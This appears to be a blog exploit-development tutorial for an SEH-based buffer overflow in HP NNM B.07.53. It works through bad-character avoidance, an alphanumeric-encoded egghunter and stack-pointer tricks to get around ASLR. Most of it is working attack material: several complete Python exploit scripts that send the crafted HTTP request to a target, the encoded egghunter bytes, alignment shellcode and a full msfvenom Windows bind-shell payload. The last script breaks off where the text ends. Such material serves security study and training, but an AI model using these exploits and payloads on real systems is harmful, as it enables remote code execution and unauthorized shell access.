\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2e\x5d\x55\x5d\x2d\x2e\x5d\x55\x5d\x2d\x2f\x5e\x55\x5d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2d\x5c\x6f\x2d\x70\x2d\x5c\x6f\x2d\x71\x2f\x5d\x71\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5b\x6c\x38\x45\x2d\x5b\x6c\x38\x45\x2d\x5b\x6e\x3a\x45\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x53\x37\x2e\x2d\x41\x53\x37\x2e\x2d\x42\x54\x37\x2f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x54\x37\x66\x45\x2d\x54\x37\x66\x45\x2d\x56\x39\x66\x46\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x3f\x39\x31\x2d\x50\x3f\x39\x31\x2d\x51\x3f\x3b\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x33\x2a\x67\x55\x2d\x33\x2a\x67\x55\x2d\x34\x2a\x67\x55\x50

encoder output

Adjust ESP

When we jump over SEH and land into D buffer, at this point, lets check our PC(i.e. EIP) and ESP address.

1
2
ESP => 2216E6D8
EIP => 2216FBF0

Usually when ESP > EIP, we need to perform stack pointer adjustment and make ESP <= EIP.

Because during this condition, PC and ESP both will move towards each other and any PUSH instruction stored in the path of PC, overwrites an existing instruction in the stack. Thus it modifies the original shellcode / payload.

In our present scenario, ESP < EIP. During execution, PC and ESP both will move away from each other. Due to this, there is no risk of instruction overwrite.

However, if we inspect our encoded version of egghunter code, then we can observe the followings

  • for the first PUSH operation, it inserts thelast 4 bytes of the original egghunter code into the stack.
  • for the second PUSH operation, it inserts the second last 4 bytes of the original egghunter code into the stack .
  • It means, for every PUSH, ESP moves towards low memory by 4 bytes.
  • After 8th PUSH operation, ESP will be pointing to the first 4 bytesof the original egghunter code.

So basically, we have to point / set the ESP far down to the high memory, if we want to generate the original egghunter after the encoded egghunter payload.

Due to this reason, we need to adjust the ESP. But how far we need to go that depends on the length of ( esp_set_up_logic + encoded_payload + original_payload).

1
2
3
4
5
6
# for example
esp_setup_logic = 7 bytes (assuming)
encoded_egghunter = 208 bytes
original_egghunter = 32 bytes

# we need to set the ESP to some value > 247 (7 + 208 + 32)
Problem
  • We can’t use ADD ESP directly because \xEC is a bad character.
  • ASLR protection is enabled so we can’t hardcode any address.
  • Further, based on the value of the EIP, we need to dynamically adjust the ESP.
Solution
  • First, we need to get hold of the program counter value into some register (i.e EAX)
  • Then we need to perform ADD operation on that register with some safe character / value.
  • Then PUSH the register on the stack then POP that out into ESP. So that ESP contains the same value as EAX.
Thought Process
  • If we observe carefully, when we the jump over nSEH and meet our D buffer, at that point => ESP points to nSEH.
  • However the interestingly, it is just 8 bytes away from program counter / EIP.
  • So if we move this ESP value to EAX then we can get hold of the program counter approximately.
  • If the length of the encoded_egghunter = 208, original_egghunter = 32 then minimum we need to add 240 ~ 250 to EAX .
  • Here I am assuming esp_setup_logic will take maximum 10 bytes.
  • So basically, we can add any number that is greater than 250 but less than 464. We are very much flexible on this.

Lets say, if we try to add 250 to EAX then the final opcode will be

1
2
ADD EAX, 0xfa # 0xfa => 250
String Literal: "\x05\xFA\x00\x00\x00"

Tool used: https://defuse.ca/online-x86-assembler.htm

But \xfa is a bad char and we can’t use that. Moreover the final opcode contains other bad chars such as ADD EAX => \x05and three null bytes.

To resolve this, we have to avoid ADD EAX instruction.

Solution

Instead of using entire 32 bytes register, we can use lower 16 bytes to perform the addition operation. The result will be the same.

ADD AX => \x66 (safe char)

1
2
ADD AX, 0xfa
String Literal: 0x66, 0x05, 0xFA, 0x00

But however, still the final opcode has another null byte.

We can’t choose 251 to 255 as \xfa to \xff all are bad chars.

  • 256 => 0x100 => also contains null byte
  • 257 => 0x101 => but here \x01 \x01 both chars are safe. We can use this.

Thus, using this backtrack trial method, we can finalise the value to be added.

We are quite flexible to choose the value to be added to adjust the ESP. Remember that the value should not be larger than 464.

Lets choose the value = 300 => 12C (01, 2c both are safe chars).

1
2
ADD AX, 0x12c
String Literal: "\x66\x05\x2C\x01"

So our final esp_setup_logic will be

1
2
3
4
5
# 2216FDF0   58               POP EAX  => ESP holds the EIP (approx.)
# 2216FDF8   66:05 2C01       ADD AX,12C => add 300 with present value, 0x01 and 0x2c => both are safe character 

# 2216FDF6   50               PUSH EAX
# 2216FDF7   5C               POP ESP  => moving the EAX value to ESP

Total length = 7 bytes.

Program Flow

During program run, when all instructions of the esp_setup_logic are executed, at that point ESP > EIP.

After that, we want the program should executes all encoded egghunter’s instructions.

During this process, PC will move toward high memory and in the path while executing every PUSH instruction by PC, ESP will move towards low memory.

When all instructions of the encoded egghunter are finished, during that point the ESP will be pointing at the very 1st block of the actual egghunter code.

begining_of_egghunter

After executing the encoded egghuntercode, the PC or EIP will roll down and executes all INC ECX and eventually reach at the beginning of the normal egghunter code. At that point ESP = EIP.

After that, the EIP will start executing the egghunter code. At that point ESP < EIP.

Finally when the egghunter code execution is completed, it finds the address of the egg signature - T00WT00W and passes the execution control by jumping to the address where EDI points.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3

# author: greyshell
# description: encoded egghunter payload using alphaNumEncoder

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305

    # 1035FE34   48               DEC EAX
    # 1035FE35   48               DEC EAX
    # 1035FE36   77 04            JA SHORT 1035FE59
    # little endian format: "\x4c\x4c\x77\x04"  ==> bad char friendly
    nseh = "\x48\x48\x77\x04"

    # 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:
    # False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP
    # OpenView\jre\jreActive\bin\client\jvm.dll)
    seh = (0x6d6e394a.to_bytes(4, 'little')).decode('ISO-8859-1')

    # setting up ESP dynamically to bypassing ASLR protection
    # 2216FDF0   58               POP EAX
    # 2216FDF8   66:05 2C01       ADD AX,12C
    # 2216FDF6   50               PUSH EAX
    # 2216FDF7   5C               POP ESP

    esp_setup = "\x58\x66\x05\x2c\x01\x50\x5c"

    # !mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s
    # 6681CAFF0F42526A0258CD2E3C055A74EFB8543030578BFAAF75EAAF75E7FFE7
    encoded_egghunter = (
        "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x5d\x55\x5d\x2d\x2d\x5d\x55\x5d\x2d\x31\x5e\x55\x5d\x50\x25"
        "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2c\x5c\x6f\x2d\x70\x2c\x5c\x6f\x2d\x71\x31\x5d\x71\x50\x25\x4a"
        "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50\x25\x4a\x4d"
        "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5b\x6c\x37\x45\x2d\x5b\x6c\x37\x45\x2d\x5b\x6e\x3c\x45\x50\x25\x4a\x4d\x4e"
        "\x55\x25\x35\x32\x31\x2a\x2d\x41\x53\x37\x2d\x2d\x41\x53\x37\x2d\x2d\x42\x54\x37\x31\x50\x25\x4a\x4d\x4e\x55"
        "\x25\x35\x32\x31\x2a\x2d\x54\x37\x66\x45\x2d\x54\x37\x66\x45\x2d\x56\x39\x66\x46\x50\x25\x4a\x4d\x4e\x55\x25"
        "\x35\x32\x31\x2a\x2d\x50\x3e\x39\x31\x2d\x50\x3e\x39\x31\x2d\x51\x41\x3b\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35"
        "\x32\x31\x2a\x2d\x33\x2a\x67\x55\x2d\x33\x2a\x67\x55\x2d\x34\x2a\x67\x55\x50")

    # replaced the "D" buffer with "A" buffer to protect from ESP corruption because D will be interpreted as INC ESP
    buff_last = "A" * (
                total_len_buff - len(initial_buff) - len(nseh) - len(seh) - len(esp_setup) - len(encoded_egghunter))

    crash = initial_buff + nseh + seh + esp_setup + encoded_egghunter + buff_last

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

found_egg

Key Points
  • When the program execution happens from stack then the opcode placed on the buffer will be interpreted as instruction. That means A will be interpreted as INC ECX.
  • Every PUSH instruction in theencoded_egghunter_logic, will basically overwrite the INC ECX instruction on the stack and finally approximate 41 bytesof A buffer will be present between the encoded_egghunter_logic and expanded actual egghunter.
  • Increment of ECX register does not have any impact on ESP.

Code Cave

If we place another large buffer at the end of HTTP request as POST data then would it affect the entire crash?

To examine that scenario, create a pattern of 1500 bytes and send this new buffer as POST data.

  • !mona pattern_create 1500
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3

# author: greyshell
# description: finding the right place for final shellcode, as POST parameter

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305

    # 1035FE34   48               DEC EAX
    # 1035FE35   48               DEC EAX
    # 1035FE36   77 04            JA SHORT 1035FE59
    # little endian format: "\x4c\x4c\x77\x04"  ==> bad char friendly
    nseh = "\x48\x48\x77\x04"

    # 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:
    # False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP
    # OpenView\jre\jreActive\bin\client\jvm.dll)
    seh = (0x6d6e394a.to_bytes(4, 'little')).decode('ISO-8859-1')

    buff_last = "D" * (total_len_buff - len(initial_buff) - len(nseh) - len(seh))

    crash = initial_buff + nseh + seh + buff_last

    # generate msf pattern of 1500 bytes: !mona pattern_create 1500
    test_buff = (
        "\x41\x61\x30\x41\x61\x31\x41\x61\x32\x41\x61\x33\x41\x61\x34\x41\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38"
        "\x41\x61\x39\x41\x62\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35\x41\x62\x36\x41\x62\x37"
        "\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41\x63\x31\x41\x63\x32\x41\x63\x33\x41\x63\x34\x41\x63\x35\x41\x63\x36"
        "\x41\x63\x37\x41\x63\x38\x41\x63\x39\x41\x64\x30\x41\x64\x31\x41\x64\x32\x41\x64\x33\x41\x64\x34\x41\x64\x35"
        "\x41\x64\x36\x41\x64\x37\x41\x64\x38\x41\x64\x39\x41\x65\x30\x41\x65\x31\x41\x65\x32\x41\x65\x33\x41\x65\x34"
        "\x41\x65\x35\x41\x65\x36\x41\x65\x37\x41\x65\x38\x41\x65\x39\x41\x66\x30\x41\x66\x31\x41\x66\x32\x41\x66\x33"
        "\x41\x66\x34\x41\x66\x35\x41\x66\x36\x41\x66\x37\x41\x66\x38\x41\x66\x39\x41\x67\x30\x41\x67\x31\x41\x67\x32"
        "\x41\x67\x33\x41\x67\x34\x41\x67\x35\x41\x67\x36\x41\x67\x37\x41\x67\x38\x41\x67\x39\x41\x68\x30\x41\x68\x31"
        "\x41\x68\x32\x41\x68\x33\x41\x68\x34\x41\x68\x35\x41\x68\x36\x41\x68\x37\x41\x68\x38\x41\x68\x39\x41\x69\x30"
        "\x41\x69\x31\x41\x69\x32\x41\x69\x33\x41\x69\x34\x41\x69\x35\x41\x69\x36\x41\x69\x37\x41\x69\x38\x41\x69\x39"
        "\x41\x6a\x30\x41\x6a\x31\x41\x6a\x32\x41\x6a\x33\x41\x6a\x34\x41\x6a\x35\x41\x6a\x36\x41\x6a\x37\x41\x6a\x38"
        "\x41\x6a\x39\x41\x6b\x30\x41\x6b\x31\x41\x6b\x32\x41\x6b\x33\x41\x6b\x34\x41\x6b\x35\x41\x6b\x36\x41\x6b\x37"
        "\x41\x6b\x38\x41\x6b\x39\x41\x6c\x30\x41\x6c\x31\x41\x6c\x32\x41\x6c\x33\x41\x6c\x34\x41\x6c\x35\x41\x6c\x36"
        "\x41\x6c\x37\x41\x6c\x38\x41\x6c\x39\x41\x6d\x30\x41\x6d\x31\x41\x6d\x32\x41\x6d\x33\x41\x6d\x34\x41\x6d\x35"
        "\x41\x6d\x36\x41\x6d\x37\x41\x6d\x38\x41\x6d\x39\x41\x6e\x30\x41\x6e\x31\x41\x6e\x32\x41\x6e\x33\x41\x6e\x34"
        "\x41\x6e\x35\x41\x6e\x36\x41\x6e\x37\x41\x6e\x38\x41\x6e\x39\x41\x6f\x30\x41\x6f\x31\x41\x6f\x32\x41\x6f\x33"
        "\x41\x6f\x34\x41\x6f\x35\x41\x6f\x36\x41\x6f\x37\x41\x6f\x38\x41\x6f\x39\x41\x70\x30\x41\x70\x31\x41\x70\x32"
        "\x41\x70\x33\x41\x70\x34\x41\x70\x35\x41\x70\x36\x41\x70\x37\x41\x70\x38\x41\x70\x39\x41\x71\x30\x41\x71\x31"
        "\x41\x71\x32\x41\x71\x33\x41\x71\x34\x41\x71\x35\x41\x71\x36\x41\x71\x37\x41\x71\x38\x41\x71\x39\x41\x72\x30"
        "\x41\x72\x31\x41\x72\x32\x41\x72\x33\x41\x72\x34\x41\x72\x35\x41\x72\x36\x41\x72\x37\x41\x72\x38\x41\x72\x39"
        "\x41\x73\x30\x41\x73\x31\x41\x73\x32\x41\x73\x33\x41\x73\x34\x41\x73\x35\x41\x73\x36\x41\x73\x37\x41\x73\x38"
        "\x41\x73\x39\x41\x74\x30\x41\x74\x31\x41\x74\x32\x41\x74\x33\x41\x74\x34\x41\x74\x35\x41\x74\x36\x41\x74\x37"
        "\x41\x74\x38\x41\x74\x39\x41\x75\x30\x41\x75\x31\x41\x75\x32\x41\x75\x33\x41\x75\x34\x41\x75\x35\x41\x75\x36"
        "\x41\x75\x37\x41\x75\x38\x41\x75\x39\x41\x76\x30\x41\x76\x31\x41\x76\x32\x41\x76\x33\x41\x76\x34\x41\x76\x35"
        "\x41\x76\x36\x41\x76\x37\x41\x76\x38\x41\x76\x39\x41\x77\x30\x41\x77\x31\x41\x77\x32\x41\x77\x33\x41\x77\x34"
        "\x41\x77\x35\x41\x77\x36\x41\x77\x37\x41\x77\x38\x41\x77\x39\x41\x78\x30\x41\x78\x31\x41\x78\x32\x41\x78\x33"
        "\x41\x78\x34\x41\x78\x35\x41\x78\x36\x41\x78\x37\x41\x78\x38\x41\x78\x39\x41\x79\x30\x41\x79\x31\x41\x79\x32"
        "\x41\x79\x33\x41\x79\x34\x41\x79\x35\x41\x79\x36\x41\x79\x37\x41\x79\x38\x41\x79\x39\x41\x7a\x30\x41\x7a\x31"
        "\x41\x7a\x32\x41\x7a\x33\x41\x7a\x34\x41\x7a\x35\x41\x7a\x36\x41\x7a\x37\x41\x7a\x38\x41\x7a\x39\x42\x61\x30"
        "\x42\x61\x31\x42\x61\x32\x42\x61\x33\x42\x61\x34\x42\x61\x35\x42\x61\x36\x42\x61\x37\x42\x61\x38\x42\x61\x39"
        "\x42\x62\x30\x42\x62\x31\x42\x62\x32\x42\x62\x33\x42\x62\x34\x42\x62\x35\x42\x62\x36\x42\x62\x37\x42\x62\x38"
        "\x42\x62\x39\x42\x63\x30\x42\x63\x31\x42\x63\x32\x42\x63\x33\x42\x63\x34\x42\x63\x35\x42\x63\x36\x42\x63\x37"
        "\x42\x63\x38\x42\x63\x39\x42\x64\x30\x42\x64\x31\x42\x64\x32\x42\x64\x33\x42\x64\x34\x42\x64\x35\x42\x64\x36"
        "\x42\x64\x37\x42\x64\x38\x42\x64\x39\x42\x65\x30\x42\x65\x31\x42\x65\x32\x42\x65\x33\x42\x65\x34\x42\x65\x35"
        "\x42\x65\x36\x42\x65\x37\x42\x65\x38\x42\x65\x39\x42\x66\x30\x42\x66\x31\x42\x66\x32\x42\x66\x33\x42\x66\x34"
        "\x42\x66\x35\x42\x66\x36\x42\x66\x37\x42\x66\x38\x42\x66\x39\x42\x67\x30\x42\x67\x31\x42\x67\x32\x42\x67\x33"
        "\x42\x67\x34\x42\x67\x35\x42\x67\x36\x42\x67\x37\x42\x67\x38\x42\x67\x39\x42\x68\x30\x42\x68\x31\x42\x68\x32"
        "\x42\x68\x33\x42\x68\x34\x42\x68\x35\x42\x68\x36\x42\x68\x37\x42\x68\x38\x42\x68\x39\x42\x69\x30\x42\x69\x31"
        "\x42\x69\x32\x42\x69\x33\x42\x69\x34\x42\x69\x35\x42\x69\x36\x42\x69\x37\x42\x69\x38\x42\x69\x39\x42\x6a\x30"
        "\x42\x6a\x31\x42\x6a\x32\x42\x6a\x33\x42\x6a\x34\x42\x6a\x35\x42\x6a\x36\x42\x6a\x37\x42\x6a\x38\x42\x6a\x39"
        "\x42\x6b\x30\x42\x6b\x31\x42\x6b\x32\x42\x6b\x33\x42\x6b\x34\x42\x6b\x35\x42\x6b\x36\x42\x6b\x37\x42\x6b\x38"
        "\x42\x6b\x39\x42\x6c\x30\x42\x6c\x31\x42\x6c\x32\x42\x6c\x33\x42\x6c\x34\x42\x6c\x35\x42\x6c\x36\x42\x6c\x37"
        "\x42\x6c\x38\x42\x6c\x39\x42\x6d\x30\x42\x6d\x31\x42\x6d\x32\x42\x6d\x33\x42\x6d\x34\x42\x6d\x35\x42\x6d\x36"
        "\x42\x6d\x37\x42\x6d\x38\x42\x6d\x39\x42\x6e\x30\x42\x6e\x31\x42\x6e\x32\x42\x6e\x33\x42\x6e\x34\x42\x6e\x35"
        "\x42\x6e\x36\x42\x6e\x37\x42\x6e\x38\x42\x6e\x39\x42\x6f\x30\x42\x6f\x31\x42\x6f\x32\x42\x6f\x33\x42\x6f\x34"
        "\x42\x6f\x35\x42\x6f\x36\x42\x6f\x37\x42\x6f\x38\x42\x6f\x39\x42\x70\x30\x42\x70\x31\x42\x70\x32\x42\x70\x33"
        "\x42\x70\x34\x42\x70\x35\x42\x70\x36\x42\x70\x37\x42\x70\x38\x42\x70\x39\x42\x71\x30\x42\x71\x31\x42\x71\x32"
        "\x42\x71\x33\x42\x71\x34\x42\x71\x35\x42\x71\x36\x42\x71\x37\x42\x71\x38\x42\x71\x39\x42\x72\x30\x42\x72\x31"
        "\x42\x72\x32\x42\x72\x33\x42\x72\x34\x42\x72\x35\x42\x72\x36\x42\x72\x37\x42\x72\x38\x42\x72\x39\x42\x73\x30"
        "\x42\x73\x31\x42\x73\x32\x42\x73\x33\x42\x73\x34\x42\x73\x35\x42\x73\x36\x42\x73\x37\x42\x73\x38\x42\x73\x39"
        "\x42\x74\x30\x42\x74\x31\x42\x74\x32\x42\x74\x33\x42\x74\x34\x42\x74\x35\x42\x74\x36\x42\x74\x37\x42\x74\x38"
        "\x42\x74\x39\x42\x75\x30\x42\x75\x31\x42\x75\x32\x42\x75\x33\x42\x75\x34\x42\x75\x35\x42\x75\x36\x42\x75\x37"
        "\x42\x75\x38\x42\x75\x39\x42\x76\x30\x42\x76\x31\x42\x76\x32\x42\x76\x33\x42\x76\x34\x42\x76\x35\x42\x76\x36"
        "\x42\x76\x37\x42\x76\x38\x42\x76\x39\x42\x77\x30\x42\x77\x31\x42\x77\x32\x42\x77\x33\x42\x77\x34\x42\x77\x35"
        "\x42\x77\x36\x42\x77\x37\x42\x77\x38\x42\x77\x39\x42\x78\x30\x42\x78\x31\x42\x78\x32\x42\x78\x33\x42\x78\x34"
        "\x42\x78\x35\x42\x78\x36\x42\x78\x37\x42\x78\x38\x42\x78\x39")

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    # place the test_buff as POST data but keeping the method GET
    buffer += test_buff

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

During crash, !mona suggest finds the cyclic pattern at 0x04df6fd1.

But the original buffer is reduced into 139 bytes.

That length is too less to accommodate a reverse / bind shell payload. It seems application puts a limit on the length of HTTP POST data.

post data pattern found

Due to this, we need to put the final shellcode / payload at the beginning of the input buffer in a encoded form and the same way we need to adjust ESP to generate the actual shellcode dynamically in stack memory.

Final Payload

Generate 328 bytes shell_bind_tcp payload using msfvenom.

1
2
3
4
5
6
(venv) ╭─root@kali ~
╰─# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4444 -f hex
No encoder or badchars specified, outputting raw payload
Payload size: 328 bytes
Final size of hex file: 656 bytes
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd597680200115c89e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5

While trying to encoded that payload using mona.py alphanum encoder, I encountered another challenge.

The Immunity textbox has some length limitation. Due to this reason, we can’t put the entire command and execute.

1
!mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd597680200115c89e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5

Even if, we can’t run mona.py outside the debugger.

alpha_num_encoder.py

Use alpha_num_encoder.py to encode the hex formatted payload generated from msfvenom.

1
2
3
4
5
6
7
8
9
10
 alpha_num_encoder.py [-h] -p  -b

encode a payload using alpha_num_encoder

optional arguments:
  -h, --help            show this help message and exit
  -p , --payload        provide a text file containing payload in hex format
  -b , --bad_characters
                        provide a text file containing all bad characters in
                        hex format

ESP Align By 4

As we know that ASLR is turned on, so we need to make sure and align the stack pointer / ESP always by 4 in order to run the shellcode reliably.

This means, for a 32 bit system, the address stored in the ESP should be always divisible by 4.

We can use the following logic to achieve this.

1
2
3
4
5
6
7
8
9
10
# ESP alighment by 4
0:  83 ec 10                sub    esp,0x10
3:  54                      push   esp
4:  58                      pop    eax
5:  31 d2                   xor    edx,edx
7:  bb 04 00 00 00          mov    ebx,0x4
c:  f7 f3                   div    ebx
e:  29 d4                   sub    esp,edx

# hex bytes = 83EC10545831D2BB04000000F7F329D4

However, the hex bytes contains some bad characters.

To overcome this prepend this logic / hex bytes just before the actual shellcode and use alpha_num_encoder.py to encode the entire string.

1
2
# payload.txt (esp_align_by_4 logic + shellcode)
83EC10545831D2BB04000000F7F329D4fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd597680200115c89e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5

In this way, we can make sure that the code will be placed / run before the actual shellcode.

1
2
(playbook) ╭─root@kali ~/code-dev/python/hands-on_python3/hpnnm-B.07.53
╰─# python alpha_num_encoder.py -p payload.txt -b bad_chars.txt > result.txt

Detailed output of the script => result.txt

Buffer Layout

From the egghunter code, we can figure out that when the the egghunter finds the egg marker, it loads up JUMP address into EDI register.

So we can easily get hold the EIP by directly moving that EDI value to EAX .

1
2
  # 04DD74D6   57               PUSH EDI => \x57 is good char
  # 04DD74D7   58               POP EAX => \x58 is good char

Now lets find what value we can add with AX register.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# for example
esp_setup_logic = 7 ~ 10 bytes
encoded_logic(esp_adjust_by_4_logic + shell_bind_tcp payload) = 2236 bytes
actual_esp_adjust_by_4_logic = 16 bytes
actual_shell_reverse_tcp_payload = 328 bytes
============================================
total = 2580 bytes

# we need to set the ESP to some value > 2580 but less than 3305
# 2580 => in hex format 0xa14
# \x0a is bad char so we need to find the next good char.
# after \x09, \x0b is good char => so we can use the value 0x0b as the stating char.
# for the last char, we can choose any value from the good char set. lets choose => 0x01

# final logic will be
PUSH EDI
POP EAX
ADD AX, 0xb01 # adding 2817
PUSH EAX
POP ESP

Use mona.py to generate the opcode

1
2
!mona assemble -s "push edi#pop eax#add ax,0xb01#push eax#pop esp"
"\x57\x58\x66\x05\x01\x0B\x50\x5C"

Online tool => https://defuse.ca/online-x86-assembler.htm#disassembly

Prepare the final buffer that will lay out in the memory like below

stack_layout.png

We have to use the initial 3305 bytes buffer to fit the followings

  • egg marker - T00WT00W
  • ESP setup_logic.
  • Encoded version of align_stack_pointer_logic and shell_bind_tcp shellcode.
  • Remaining buffer where align_stack_pointer_logic and actual shellcode will expand during runtime.

The Shell

Fired up the final exploit code and it will open a tcp port 4444.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/env python3

# author: greyshell
# description: shell_bind_tcp payload (port 4444)

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305

    egg_marker = "T00WT00W"  # all chars are safe

    # PUSH EDI
    # POP EAX
    # ADD AX, 0xb01
    # PUSH EAX
    # POP ESP
    # string literal: "\x57\x58\x66\x05\x01\x0B\x50\x5C"
    esp_setup_shellcode = "\x57\x58\x66\x05\x01\x0B\x50\x5C"

    # msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4444 -f hex
    # payload = esp_adjust_by_4_logic + shell_bind_tcp shellcode
    # python alpha_num_encoder.py -p payload.txt -b bad_chars.txt
